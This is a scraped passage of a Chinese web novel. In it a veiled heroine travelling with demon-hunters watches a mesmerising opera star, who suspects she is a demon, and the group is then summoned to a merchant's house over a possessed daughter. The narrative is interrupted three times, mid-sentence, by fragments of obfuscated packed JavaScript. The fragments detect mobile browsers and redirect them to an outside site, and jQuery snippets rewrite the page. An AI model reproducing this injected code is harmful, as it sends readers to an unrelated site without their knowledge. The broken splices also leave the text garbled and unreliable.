这副场景对从盛京而来的程南楼他们不足为奇,对自小居于三危山一隅的满月却是闻所未闻,直瞧得目不转睛。 清虚子不知看到了什么,精神陡然为之一振,他赔着笑不知和程南楼说了什么,便骑着那头小毛驴先一步离开了。 许陈仓打起车帘,瞧着清虚子离开的方向,问她师兄:“这老道又去哪儿了?” 程南楼语气平缓:“他说有一件事要紧事要去办,让我们先去客栈。” 许陈仓冷哼一声,依着这些天相处下来的了解,毫不留情地拆穿:“我看他是又去赌场了吧?” 程南楼素来好脾气,对并不完全笃定的事一向不愿多加揣测:“不知道。” 陈仓懒得追究,反正她对这没皮没脸的贪财老道也没什么好印象。她又对程南楼讲了两句。随后马车便在一处稍安静些的巷子里停下。 满月见停了下来,不明所以地看向许陈仓:“怎么了?” “正巧也该用膳了,我和师兄讲,让他在这里放下我们,也好逛逛夜市。”说着,许陈仓伸了个懒腰。她身体素质虽好,成日里窝在马车,久了也感到憋闷。 许陈仓先下马车,帘子打到一半,她想起什么,叮嘱满月:“记得戴上帷帽。” 玄妙马车一停就奔着卖糖人的摊位去了,许陈仓去追他,只留下程南楼在外面。 满月戴上帷帽,程南楼扶着她下了马车。 “多谢。”满月理了理帷帽,她还是有些不习惯这样,只好轻轻撩起一角,因为站得近,再加上程南楼身量本就高,她仰起头才能看到他的脸,见他并没有要走的打算,问道,“你不和我们一起去吗?” “我先去找客栈,还有些琐事需要安顿,你们去玩吧。”程南楼背对着巷口而立,街道上荧煌的灯火落他清秀的面容上,平静且温和。 明明他和陆宴白都是差不多的年纪,却没有一点贪玩的渴望,成熟稳重得仿佛一个长辈。 仔细想想,出行一路几乎都是程南楼在背后默默操持着这些杂务,简直可以用任劳任怨来形容。 满月不禁大为佩服,她和他摆摆手,随后步入街道的人群之中。 这个时间点街上的人还不是特别多,没走多远,满月就看到玄妙和陈仓站在槐树下,一人手里拿着几串糖人。 玄妙狼吞虎咽,很快就吃得精光,他舔舔指尖上沾着的糖浆,视线往旁边的摊子上瞥:“我再吃两根,不,一根!” 陈仓还是那个冷酷无情的陈仓师姐,她面无表情:“不行。还想不想要你的牙了?小心全部烂光。” 玄妙小脸一垮,依依不舍地看着糖人摊子,勉为其难听从了他师姐的话。 好在夜市上好吃的只多不少。等他抱着第二碗樱桃酪吃的时候,早将先前的糖人抛到九霄云外。 “你慢点吃,没人和你抢。”许陈仓掐了掐玄妙的脸。 天色已经完全暗下来,街上的人不知不觉间多了起来,人流如织,熙攘拥挤。 “今晚登台的听说是十夜公子,一定要早些去占个位置!” “真的吗?今晚上唱的哪一折戏?” “听说是相思令……” 身旁路过的行人叽叽喳喳,翻来覆去提及的,都是那位十夜公子。 玄妙听得耳朵生茧,他又要了一碗酥酪,边吃边随口问道:“谁是十夜公子?” “哟,这位小公子竟然没听过十夜公子的名号?”卖酥酪的摊主打量他们几眼,笑呵呵地套起近乎,“难不成几位是外地来的?” 玄妙头次出远门,不怎么警惕,他毫不避讳地点点头:“是啊。” “我们这十里八乡,十夜公子的名号可是响当当,在这里你可以没听过太守的名讳,万不可能没听过他的名声。”暑夜本就燥热,街上人一多,更热了起来。摊主擦擦汗,舀了瓢凉水浇在冰酥酪的盆里,才接着道,“他的戏一筹难求,连盛京的大人物都常常慕名而来。几位运气倒是好,今日初八办庙会,十夜公子被请来登台,就在娘娘庙里。” 摊主吹得天花乱坠,玄妙被勾起了好奇心,转头看向许陈仓:“要不我们也去瞧一瞧?” 摊主最会察言观色,见状忙不迭道:“十夜公子的签筹最是难求,诸位若是去市面上买,定然买不到的。小人有些渠道在手,若是有需要,可以代劳,只是需收取些额外的……” 他比了个手势。 许陈仓倒是不在乎这点小钱,她见玄妙实在想凑这个热闹,转头瞧向满月:“你想一起去看看吗?” 满月对十夜公子这个名字没什么印象,想来不是原著中出现过的人物,反正闲着也是闲着,便点了点头。 摊主喜笑颜开:“小人这就去办,诸位贵客稍等片刻。” 摊主放下摊子去了后面一处没什么光亮的暗巷。不多时他回来,手上已多了三枚桐木做的木筹。那木筹做得十分精致,其上洒着金粉,正面篆书写着十夜公子,背面篆书写着相思令。 许陈仓拿出钱袋,她见识多些,见这摊主油腔滑调,到底留了个心眼,银两在给出去前又攥回手心,她皮笑肉不笑道:“我的银两一向下有追踪符,若这筹子不顶用,我还得来找你。” 摊主听她说追踪符三个字,意识到眼前这人是个修士,方才的谄媚讨好立马不见了。他额上沁出些汗来,勉强笑道:“原来是仙长大人,失敬失敬。小人有眼不识泰山。我哪敢欺骗诸位大人,这筹子……”他眼睛骨碌一转,笑嘻嘻地从衣袖里又取出三枚签筹,颜色要比刚才给他们的深一些,“小人方才是拿错了,拿错了……” 一旁的玄妙和满月俱是看得目瞪口呆。 许陈仓本来也只是随便诈一诈,没想到还真被她诈出些意外之喜。 她眼睛眯了眯,收起那三枚木筹,将原先的木筹拍在摊主面前,手收回,那假木筹顷刻化为齑粉。 “骗人的买卖不好做。”陈仓勾了勾嘴角,语气却冷冰冰的,“今日我们赶时间,不与你计较,再有下一次,可没这么容易了。” 拿到真木筹,陈仓点出应给的银两,随手抛到摊位上,带着满月玄妙离开了。 人潮汹涌,他们的身影很快汇入了其中,不见踪影。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995442|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 摊主原本兢兢战战的表情瞬间消失,他拾起摊位上的银子,脸色阴沉下来,望着几人离去的方向,神情阴郁难辨,喃喃自语道:“原来是修士……” * “师姐,你怎么知道他是在骗人?”走远了,玄妙迫不及待地发问。 陈仓其实没想那么多,单纯就是觉得这摊主太过热情有些不寻常,但看着玄妙难得对她这么崇拜,她挑了下眉,若无其事地抬了抬下颌,淡道:“不过是些小伎俩,我一眼就看穿了。” 果不其然,玄妙的眼神更加崇拜:“我今天才知道师姐你原来也这么厉害。” 陈仓的嘴角不着痕迹地牵动了下,她冷冷转向玄妙,居高临下瞧着他:“什么叫‘才知道’?” 玄妙吐了吐舌头,做了个鬼脸,一溜烟跑开了。 满月对他们的相处模式早习以为常,她一面吃着荔枝甘露饼,一面不紧不慢打量着四周。 总觉得,这里有种熟悉的感觉。 “师姐,我,我肚子疼。”忽然,玄妙说道。 “好端端怎么突然肚子痛?”陈仓皱起眉,第一反应是刚才的酥酪有问题,她执起玄妙的手腕替他看脉,片刻无奈道,“我就说那酥酪太凉,要你慢点吃,现在好了,吃坏肚子了吧。” 玄妙面皮涨红,许陈仓带他去找茅厕,叮嘱满月在原地等他们回来。 满月待在原地,吃完最后一口甘露饼,她用帕子擦干净嘴角的碎屑,还没等到陈仓他们回来,但先听得夜鼓声阵阵。 街上原先漫无目的游走在四处的路人,如同听到什么指令一般,纷纷整齐划一地调转方向往东南角而去。 满月躲避不及,接连被撞两下,陷入人潮之中。 街上此时变得水泄不通,众人都往一处涌,满月想回到刚才的位置,奈何根本脱不开身,只能跟随着人群,慢慢来到了娘娘庙前。 庙宇修缮得很是庄严华丽,光是主殿三清宫就煌煌有三四层楼高,远远望见,瓦檐翘角,香火缭绕,甚是巍峨壮观。 满月仰头瞧着,忽见有团暗红的云雾笼罩在三清宫庑殿顶的浮雕上。 她一愣,眨眨眼,那云雾却又凭空消失不见,仿佛从未存在过一样。 是她看错了? 满月满腹狐疑,她看看四周,发现没一个人注意到将才的一幕。 来到庙门前,门前守着两个着道袍的女道童,来人纷纷交出木筹,由着他们逐一放入泡着符纸的水缸中,变了色才准放行。 原来是这样验明真伪的。 满月看得啧啧称奇。 入了庙中,另有道观童子过来引路。路过主殿,娘娘塑像足有两人那么高,雕刻得栩栩如生,四面供奉香火,烟雾缭绕间,倒真有几分登仙化羽的古道仙风。 满月问身边领路的道观童子:“这庙里供奉的是哪路神仙?” 道观童子看她一眼,虽然奇怪,还是老老实实回答:“自然是密云娘娘。” 满月闻所未闻,她还想再问,却见小道童闭上目嘴唇翕动,不知道念了句什么。 她迟疑问道:“……你在念什么?” “娘娘的名讳,岂是你我可轻易提及的。”小道童摇摇头,她瞥了眼满月,似是责怪对方害自己破了戒。 39. 039【大改】 将满月引到她的位置后,小道童行了道观的拱手礼,就匆匆离去。 满月瞧着小道童离开的身影,暗想这道观名头不响,规矩倒是多。 不能提及名讳?那还供哪门子的神。 满月摇摇头,在位置上坐好。 十夜公子的人气果然不虚,庙宇戏台前座无虚席,就连对面的庑廊下也排排站,挤满了人。 满月扫视一圈,只见人头攒动,却完全看不到玄妙陈仓他们。 她只得放弃找人的念头。 算了,他们也要来看戏的,等戏散场了总能遇见。 待人群坐定,戏幕正式开场。 铙钹声一响,余音绕梁,四周交谈的杂声立即消失。 琵琶声悠悠,万众瞩目下,戏台上终于款步走出来一小生。满月略掀起帷帽一角,因位置离得近,她看得清楚,那小生即便妆扮浓艳,依旧瞧得出其眉目只见的俊逸,眼波流转间更是水光潋滟,美貌中带了几分雌雄莫辩的明艳。 确实生得极好,也怪不得人气那样高。 一开始出于新奇,满月还看得兴致勃勃,没多久就发现又是才子佳人的俗套故事,很快便没了兴致,她听台上咿咿呀呀缠绵悱恻的戏腔,昏昏欲睡。 究竟什么时候能结束。 满月对小生的美貌不感兴趣,折子戏的故事又没什么吸引力,她只觉度日如年,本想悄悄退场,位置太靠前了,身后乌压压一片人,根本走不开,只得留在原地。 满月无聊,一时如坐针毡。她左右看了看,发现除她之外,其他看客都十分投入,不少心软些的甚至被感动得落下泪来,四周抽噎的声音此起彼伏,衬托之下,她显得尤为格格不入。 满月被这有些狂热的氛围弄得浑身不自在,她头一次庆幸还好自己戴了帷帽,旁人看不清她的脸,否则也太奇怪了。 一阵风吹来,夹杂着夏末凉夜特有的馨香,闻着有些像桂花的花香,只是没有那么浓郁。 遮在满月面前的白纱被风扬起,露出了她的脸。 正巧这时戏台上的小生目光扫过来,瞳孔之中映见她的面容,小小的脸,尖尖的下颌,算不得大美人,却是唇红齿白,十分灵动可爱。 尤其那双眼睛。 满月冷不丁与台上的人视线相对,她愣了愣,赶忙将被风撩起的白纱放下来,重新遮住了面庞。 强撑着熬到了终场,结尾是国公小姐与那才子天各一方,才子多年后功成名就,娶了公主,洞房花烛夜时,对着龙凤花烛,戚戚哀悼曾经的挚爱。 满月:“……” 没看出来,还是个写实派。 戏台落下帷幕。 故事满满都是槽点,满月不愿再多看一眼,她等着人群离去自己好去找玄妙他们,却发现周围无一人动身。 满月按捺不住了,小声询问旁边一个哭湿了三条帕子的黄衣姑娘:“不是已经结束了吗?为何还没人走?” 黄衣姑娘取出第四条帕子,一面抹泪,一面回答:“看你这样子应当第一次来瞧十夜公子的戏吧。” 满月点点头。 “十夜公子唱完一场,会点人去后台见面。”黄衣姑娘擤擤鼻涕,提起这个她有些不好意思了,脸颊绯红地略低下头,声音也更加轻柔,“我们都盼着能同他见一面。” ……怎么还有粉丝见面会啊! 满月简直抓狂,她轻叹一声,默默正襟危坐,只盼着那个十夜公子赶紧点完人她能早点溜。 “来了来了……” 人群一阵骚动,但很快就平息下来。 戏台上换了个中年男子登场,他讲了一堆没什么意义的废话,而后敲了一声锣,身后两个才登过场的小戏子走上来,向着台下抛出一只绣球。 那绣球变戏法似的,在空中化为两只粉蝶,悠然盘旋一阵,再度变回绣球,朝着某个地方落去。 满月本来托着脸在发呆,听到人群的惊呼,一抬眼,只看到绣球直直朝她砸来,她条件反射伸手去挡,正好接住了绣球。 人群躁动起来,投向她的目光灼灼,有嫉妒,有羡慕,还有怨恨。 满月拿着绣球,突然就成了众矢之的。 她站在原地,懵然无知。 发生了什么? 原本还拥挤的人群自动分流出一条道路,将才还在台上叭叭的中年男子不知何时已现身她身前,中年男子笑眯眯地做了个请的手势:“姑娘请吧。” 满月眨眨眼,瞧向旁边的黄衣姑娘,黄衣姑娘眼睛红得像核桃,看着她的眼中满是艳羡,即便隔着帷帽,满月还是能感受到那眼神的炙热:“你运气也太好了!!!” 满月默默将拒绝的话吞回肚子里。 这种时候拒绝十夜公子的会见,她应该会被他的小粉丝撕得渣都不剩吧。 “你,你可不可以帮我把这个东西带给他?”黄衣姑娘飞快地将藏在袖子里的东西塞给了她,声音小小的,一脸的恳求与希冀,生怕满月不答应。 满月看着手里木雕小人。小人雕刻得极为精致,上了色,扮相上与将才台上的小生相似,看得出是花了心血的。 满月没有拒绝,她收起木雕,跟着中年男子离去,一路上她所过之处,皆是与之前黄衣姑娘类似的灼热视线,满月暗地里悄悄打量几眼,发现十夜公子的粉丝群体分布极广,男女老少样样不缺。 这放在现代,多少是个顶流。 离开拥挤的人群,满月松了口气。旁边的中年男子温声道:“看姑娘的衣着打扮,似乎不是本地人?” 满月点头。 中年男子哦了一声,笑意款款:“那依姑娘所看,我们公子这出戏唱得如何?” 唱得如何她听不出来,但故事情节有够烂的。 心里这么想,到底在人家地盘,满月客客气气道:“挺好的。” 中年男子还欲再问,却刚好到了地方。满月原以为所谓的后台真的是戏台后面,不想却是离娘娘庙不远的一处院落,一眼望去,雕栏玉砌,珠围翠绕,恍如人间仙境一般。 满月仰头看向阔绰的镶金门匾:十夜居。 真是好大的排场。 中年男子没再讲话,穿过长长的走廊,拨云见日,终于来到了十夜公子休憩的花厅。 鎏金云龙纹博山炉中燃着不知名的香,花厅里云山雾绕,笼罩在淡淡的烟气中,满月刚一踏足其中,便只觉身心都放松下来,如同进入深度睡眠,无忧无虑,心头的烦乱荡然无存,一切只剩下令人舒适的空然寂静。 中年男子退了出去,门扉合上。 满月面前站着位年轻男子,身着月白澜纹长衣,身形纤长,正背对着她在抚弄案几上的盆栽,他隐在浅淡的云雾中,一时间仿若谪仙,不甚真切。 听到门掩上的声音,男子才转过身,卸去了台上厚重的妆容,露出他本来面目,竟是比上妆之后更为昳丽隽秀,眼角一点泪痣,眉目端见风华绝代,超凡脱俗只似画中仙人。 满月脑子里一时只闪过一个古早的词汇: 妖孽。 饶是满月,瞧见对方的容貌的一瞬间,也不免稍稍失了神。 她原以为程南楼已经足够好看,没想到山外有山,单论及相貌的精致,眼前这位十夜公子还要更胜一筹,不,已经不能单用好看来形容,简直是美得惨绝人寰,甚至超脱于性别。 虽隔着帷帽,十夜公子还是察觉出她须臾间的呆滞。 他很是满意,轻轻勾起唇角,水波潋滟的明眸带着摄人心魄的笑意,盈盈瞧向她:“姑娘怎么称呼?” 如果放在其他人身上,此情此景大约早被他的这份美貌迷得晕头转向。 可偏偏十夜公子遇见的人是满月。 满月自摔落山崖记起自己穿越到一本小说中后,就一向对长得过分好瞧的人心怀警惕,如今见了人间真绝色,不仅没有一点欣赏的心情,反而还怀疑自己是不是又误闯了什么原著副本。 满月将怀疑掩饰住,打起精神来回答:“小卓。” “小卓姑娘。” 十夜公子唤她一声。他的声音甚为好听,大约是唱多了戏,尾音不觉仍带着些戏腔的缠绵悱恻,听来总有种深情款款的错觉。 十夜公子抬手,纤长的手指触向到她的帽檐,似乎是想要将这碍事的物什摘去。 满月反应极快,不及他碰到,就护住帷帽忙向后退了一步。 十夜公子的手怔在了半空。 片刻,他将手收回,脸上的笑容不易察觉地冷淡几分:“既是会面,小卓姑娘为何戴着这个。” “我……”满月掩唇轻咳一声,大概是和陆宴白打交道太多训练出来了,她脑子转得飞快,须臾就有了合理的说辞,“我感了风寒,还没好全,为了不伤及公子贵体,还是不摘为好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995443|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>十夜公子若有所思地点点头,盯着她看了片刻,最后还是选择了相信。 他转过身,斟了一盏茶,这样平常的动作在他做来,都别有一番风韵。 十夜公子抬手指了指软塌:“小卓姑娘请坐。” 满月依言坐下,却只感觉如芒刺背,不知道何时能结束这场酷刑。 美得不似真人的十夜公子倒是平易近人,他在满月对面入座,柔声问她:“小卓姑娘似不是密云人,头次看我唱的戏,不知可有什么欠缺的地方?” 满月尬笑:“没有,公子唱得很……很动听。” 她搜肠刮肚,就像前世写八百字作文一样,凑出些并不走心的赞美之词,“此曲只应天上有,人间哪得几回闻。呵呵。” 感谢九年义务教育。 满月默默在心里划十字。 十夜公子被称赞得很是开心。 他掩唇笑起,衬得脸上那颗泪痣都极为妩媚多情:“谬赞了,姑娘喜欢就是。” 满月却没工夫欣赏他的美貌,客套完,她满脑子只想着该如何告辞离开。 正巧这时十夜公子话锋一转,忽然笑着问道:“曲子不错,那故事呢?” 他端着茶盏,手指修长而骨节分明:“方才我在台上,似是看小卓姑娘对台上演绎的故事,似是并不太感兴趣。” 满月:“……” ……你唱戏就唱戏,怎么还时刻巡视台下的反应,这种反应和流量小生暗戳戳视.奸话题广场有什么区别! 满月深吸一口气,道:“很……感人。” 除此之外,她实在找不出别的形容词。 这就好像被人按头安利不喜欢的作品,还要求她必须真情实感写一篇小作文。 实在是巧妇难为无米之炊。 满月也不知道这个十夜公子有什么大病,她只是个过客而已,她的反馈有那么重要吗?还专程把她带过来问话,这次见面机会留给真心喜欢他的粉丝该多好,皆大欢喜。 再这样被问下去,只会无休无止地浪费时间虚与委蛇,满月当即决定及时止损。 她放下一口未动的茶盏,恳切道:“公子这出戏很精彩,只是我话本子看得多,所以不如旁人那般反应……公子也知我是外地来的,将才看戏前我与我的同伴走丢了,现下他们恐怕还在外面找我,若无旁的事,我就先告辞了。” 十夜公子摩挲着青瓷茶盏外壁的手一顿,面上的笑容却不减分毫。 他仍瞧着满月,尽管隔着面纱,她依旧能感到他视线的些微古怪。 像是有什么说不清道不明的暗潮在其中涌动,但当她真的想一探究竟,却又消失得一干二净,仿佛只是她的错觉。 满月虽感奇怪,但她耐心已然告罄,懒得探究为什么。 她起身,依着礼数行了一礼,正打算离去,忽然想起还有件事没办,便从袖子里取出之前黄衣姑娘托她带来的木雕小人,双手奉上:“对了,这是将才我身边的一位姑娘托我带给公子的。” 十夜公子看着她从袖子里取出这样东西,初时还有些兴趣,听她说是旁人托带的,兴致瞬间冷却了下来。 他笑了笑,漫不经心地扫了眼那甚为用心的精致木雕,随口敷衍:“姑娘放在一旁就是。” 竟然连接都不肯接。 满月对十夜公子的评价又暗暗低了一等。她将木雕放好,也不管他是什么反应,就此转身离去。 门扉开启又虚掩上。 博山炉里的香似燃尽了,空中氤氲缠绵的云雾渐渐散去。 十夜公子仍留在原地。 他面上的笑容不变,看着满月阖门离去,没有任何多余的反应。 之前带路的中年男子推门而入,语气透着恭谨:“公子,那位姑娘离开了,要不要……” “不用。”十夜公子抬眼,端详着几上的红梅,手轻轻抚上去,眼神缱绻,仿佛真的含情脉脉,“若都是一个样子,那有什么趣味。像她这样不给面子的,也挺有意思,不是吗?” 中年男子袖手侍立一侧,头微微垂下,没敢回答。 十夜公子微一用力,斜出来的红梅旁枝被他生生掐断,嫩绿的树汁流了他一手,偏偏神情却还是将才的温柔。 “不过我倒真的好奇,她一个小妖,跟在一群除妖师身边做什么。”他抚了下眼角的泪痣,笑意明媚,“去查查看,他们究竟是何人。” 40. 040【大改】 脱离了莫名其妙的十夜公子,满月神清气爽不少,她回头最后再看了一眼富丽堂皇的宅邸,毫无留恋地前往寻找许陈仓他们。 戏散了场,街道和庙前的人少了不少,不比之前的摩肩接踵,很多摊位陆续收了摊,就好像这一切的热闹都只为十夜公子的戏,他一走,繁华也跟着落幕。 满月漫无目的地在街上走走停停,她找不到人,又没有联络到他们的其他手段,正犹豫要不要回最开始的地方看一看,肩膀忽然被人从身后拍了下。 满月回头,看到是许陈仓,和一手抓着一个包子的玄妙。 满月悬着的心终于落了地:“你们将才去哪了?” “刚才人太多,我们到的时候已经没了位置,只能在边角挤着。”陈仓说着瞧向满月,“你看过那场戏了吗?” 满月点点头,一边跟着许陈仓走,一边忍不住吐槽:“实在是……” 太无聊了三个字没出口,许陈仓就用平静无波的声音说着完全不同的话:“太感人了。” 满月:? 她这时才发现,许陈仓虽还是平日里的冰山脸,但眼尾红红的,明显是不久前才刚哭过一场。 满月沉默着将未说出的话收了回去。 “你也有这个感觉吧。”许陈仓看她一眼,“我在盛京也从未看过如此感人的戏。” ……满月尊重理解。 她低头看向玄妙,心想玄妙年纪小,应该不会对才子佳人的爱情悲剧有所感慨吧。 ……结果这位更是重量级。 玄妙哭得眼睛都肿了,他一面往嘴里塞包子,一面肩膀一抽一抽,周身遍布着悲伤的气息,显然还没从将才的故事中走出来。 满月:“……” 你才多大看得懂这种爱情故事吗?! 满月无力吐槽,她实在想象不出刚才枯燥乏味的折子戏有什么出彩之处,难道这个时代的文娱生活这么匮乏吗?可她在三危山时看过不少藤娘子偷偷带回的话本,并不缺少精彩的故事。 满月百思不得其解,另外两人的情绪都低落,一路上没人开口说话,到了落脚的客栈。 知行道人不在,不必亮出玄都观的派头,这次倒是一切从简。 程南楼已将马车安顿好,现在不算是旺季,但客栈里人却不少,他给了一番工夫,才找到还剩两间空房的客栈。 他们虽然在街上逛了不久,却还没正经用晚膳,这一路的舟车劳顿,吃喝全靠野外自助,玄妙塞下两个包子还饥肠辘辘,又点了一桌子的菜。 用膳时提起在夜市的所见所闻,陈仓和玄妙两个争先恐后讲起十夜公子的戏,只有满月默不作声,完全接不上话。 程南楼听了两人的梗概,没有太大的反应,明显也不是很感兴趣,他注意到满月不同寻常的安静,趁着那两人停歇吃饭的工夫,轻声问她:“发生什么事了吗?” 满月突然被问到,愣了愣,笑着摇摇头:“没什么。” 确实没发生什么大事,只是觉得有些奇怪罢了。 她本就觉得那位十夜公子处处透着些怪异,看到玄妙陈仓二人的反应,更加深了她这种感觉,但她实在想不起原著里有什么类似的情节,不确定是不是自己太过小心谨慎,索性还是没有将毫无依据的怀疑说出口。 好在有程南楼的主角光环在,至少在原著开篇剧情发生前,除了陆宴白黑化,应该不会有太危险的情况发生。 满月将自己的怀疑按下不提,只问程南楼:“我们在此要停留几日?” “若没旁的事,休息两日即可上路。”程南楼道。 他所说的旁的事,指的是降妖除魔。这一路上遇到恶妖,皆被他们顺手铲除。满月方才知道为何玄都观要选用效率如此低慢的行路方式,盖因算对弟子的历练,也是尽玄都观护佑苍生的职责。 满月暗自祈祷,最好别碰上什么事。 天色已晚,清虚道人迟迟未归,只托一个路人带回信来,说他遇一故友,须耽搁两日,等叙完旧,就来找他们。 许陈仓将那皱巴巴的纸条放在鼻尖轻嗅了下,冷笑道:“什么旧友,还当真去了赌坊,这人真是死不知悔改。” 好在众人对清虚子的做派早习以为常,他回不回来都无所谓。 晚上满月与陈仓一间房。睡了大半个月的马车,再度躺在柔软的床榻,恍如隔世。 这一晚满月却睡得格外香。 第二日一早她们起了个大早,满月推开窗子,日光洒进来,照亮一室。 满月伸了个懒腰,将小肥啾放在窗边透风。 舟车劳顿有几日,不说她们,就是许陈仓都有点受不住,她懒洋洋地趴在案几上逗着小肥啾,忽然听到门外传来敲门声。 许陈仓倏地直起身,自经过陈昇那件事后,她就对一切敲门声都格外敏感,驱动着降妖镜,谨慎地确定没有异样,才问道:“何人?” “小人是店内的伙计,有一事寻仙长。”门外的声音很是谄媚。 满月心里咯噔一声,隐约有不好的预感,给小肥啾喂灵谷的手都不觉顿了一顿。 看来祈祷没有成真。 许陈仓只在昨夜买木筹时暴露过修士的身份,这种时候有人找来,令她不禁有些起疑。 虽是困惑,许陈仓还是开了门。门外确然是个伙计打扮的年轻男子,一见着许陈仓,他便很是低声下气地要行礼。 在原著设定里,除妖师的地位一向比较高,出门在外都是被客客气气礼遇,但像眼前的伙计毕恭毕敬到这种地步的,还是少见。 许陈仓心下存了几分警惕,面上不动声色,冷冷看着男子:“你如何知道我们的身份?” 伙计面不改色,笑得满脸褶子:“仙长们仙风道骨,一看就不一般,几位刚一入店,小人就瞧出不是常人了。您是不知,我们这密云城自来太平无事,不受妖祸侵扰,所以很少有你们这样的人来,自然一认一个准。” 他话里话外全是不着痕迹的追捧。 玄都观一贯修行先修心,许陈仓心无波动,仍冷眼瞧着他,直入正题:“你找我有何事?” “并非小人有事相求,而是何府的管事有事相求,只是他贸然不敢来打扰,所以让小人先来探一探。”伙计笑着,一面压低了声音,“他们府上出了些怪事,想请诸位仙长前去看一遭。” 许陈仓很快就察觉到他话里矛盾的地方,冷笑一声:“你既然说密云城自来太平无事,他们府上又怎么会出怪事?” “这是小人表述不周了。”面对许陈仓的诘问,伙计浑然不在意,笑容不变地解释道,“密云城是没出过事,只这何府是个例外。他们府上的怪事好久了,但凡有除妖师经过,都请了去府上相看,不过都没看出个所以然来就是了。” 这话倒是解释了为何他们一进城,就被直接寻上门。 许陈仓又瞧了那伙计几眼,心中的戒备堪堪放下些许,语气却还是一如既往的冷淡:“什么怪事?” 伙计左右看了看,确认没人,才低声道:“具体我也不方便多讲,是府上的一位小娘子。若是仙长有空去看,路上再讲也不迟。” 许陈仓点了下头:“你让那人等着,我稍后便到。” 伙计千恩万谢地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玄妙随口接道:“说不定真是你们家小姐身体不好,若有问题,总不至于一个人都瞧不出。” 何府管事叹了一声:“这位小道长不知,我们小姐自那次看戏之前,身体一向是没什么毛病的,要是真的没出问题,何至于好端端像变了个人一样。” 许陈仓冷眼旁观着他们的一问一答,待管事讲完,她冷不丁终于开了口,直切要害问道:“除了多病,你们小姐可还有什么异样之处?” 不知是不是错觉,那何府管事额上冒出的汗更多了,衣襟也浸出痕迹,他狼狈地换了张帕子,往外瞧了眼,才压低声音道:“我们小姐平日里不发病的时候还好,发了病,俨然不一样了,她就……变得特别爱吃。” 玄妙笑了:“这有什么,我也爱吃。” “不是普通的爱吃。”何府管事声音微颤,几不可察地透着些恐惧,“曾有一日丫鬟没看住她,整个厨房的东西都被她吃得干干净净,等我们赶到的时候,就看到小姐她……她……” 何府管事有点讲不下去。 玄妙被勾起了好奇心,催促道:“她怎么了?” “她生啖了一只活鸡……那鸡是被她硬生生咬破脖子的,她嘴里身上全是血,我出声阻止,却看到……小姐她转过头来对我笑。”说到这里,何府管事没忍住抖了一抖,那瘆人的笑容,他这辈子都不愿意再回忆起来。 管事加快了手上擦汗的动作,似乎是想要将这份恐惧掩盖住,继续道:“不过后来倒是没出什么大事,小姐她昏了过去,再醒来时也已经不记得之前发生过什么。” 41. 041 听管事的描述,这事确实处处透着诡异。 但为何前后请来的除妖师竟没一人能看出问题? 许陈仓抬头瞧了眼程南楼,后者目光淡淡,不知道在想什么。 “你说三年前看戏,看的什么戏?”自上车后就一直没说过话的满月突然问道。 马车内所有人的目光都集中在她身上。 何府管事擦汗的手顿了顿,似乎从未有人问过这个问题,他绞尽脑汁回想良久,才道:“我也记不清了……应当不是这戏出了问题,当时同小姐一起去看的人都好好的,也没见谁也变成这样。” 满月眨眨眼,不紧不慢地追问:“是不是十夜公子的戏?” 这次何府管事倒是回答得很快:“不是。” 满月歪了下头,若有所思地瞧着对方:“你这次倒是记得清楚了。” “道长有所不知。”何府管事在一旁许陈仓的视线压迫下显得略有些紧张,“十夜公子两年前才来的密云城,三年前的那场戏,断不会是他唱的。” 满月点点头,没再问下去。 何府离客栈并不远,马车很快就停下来。 大概是家丑不可外扬,何府行事极为低调,马车停在犄角旮旯的角门,何府管事敛起衣袖轻叩门扉,片刻,才有人从里面解开门栓开了门。 “道长们请。”何府管事点头哈腰,将几人迎了进去。 在密云城,何家是数得上名号的富户,几代经商,家底甚是丰厚。在原著的世界观,并没有重农抑商的举措,何家老爷虽是一介白身,却极受外人尊重。他与何夫人也伉俪情深,感情极好,不曾纳妾,多年来膝下也只有何小姐一个子女,宠爱异常。 短短两日,满月已然习惯了戴着帷帽。 他们穿过夹道花园,来何家小姐住的世安苑。 庭前院子里种着好大一棵金桂树,葳蕤葱郁,分明还不到季节,却开了花,金黄繁花结了满树,芬芳馥郁,风一吹过,遗香满室。 果不其然,刚一进院子,程南楼他们就全被这棵不合于时的金桂树夺去了目光。 何府管事见怪不怪,解释道:“这金桂树是我们小姐出生时老爷从一位方士手上得来的,因有秘术加持,花常开不败。几位道长看,可有问题?” 程南楼摇了下头,他收回视线,语气温和:“何小姐住在这院里?” 何府管事点头:“正是。” “可容我们四处看看?” 何府管事恭谨让开身:“诸位请便。” 程南楼与许陈仓四下查看起来。玄妙无事,也拿着降妖镜煞有其事地溜溜达达,只剩下满月一个,仍旧站在庑廊下,仰头瞧着院中那棵开得异常艳丽的金桂树。 一阵风吹过,树叶簌簌作响。 浓郁的金桂香气扑鼻而来,满月觉得有些熟悉,似乎在哪里闻到过,可一时半会儿就是想不起来。 满月看了好一会儿,没看出什么所以然来,她正打算跟陈仓进去,转头时却忽然瞧见树头隐有血红之雾萦绕。 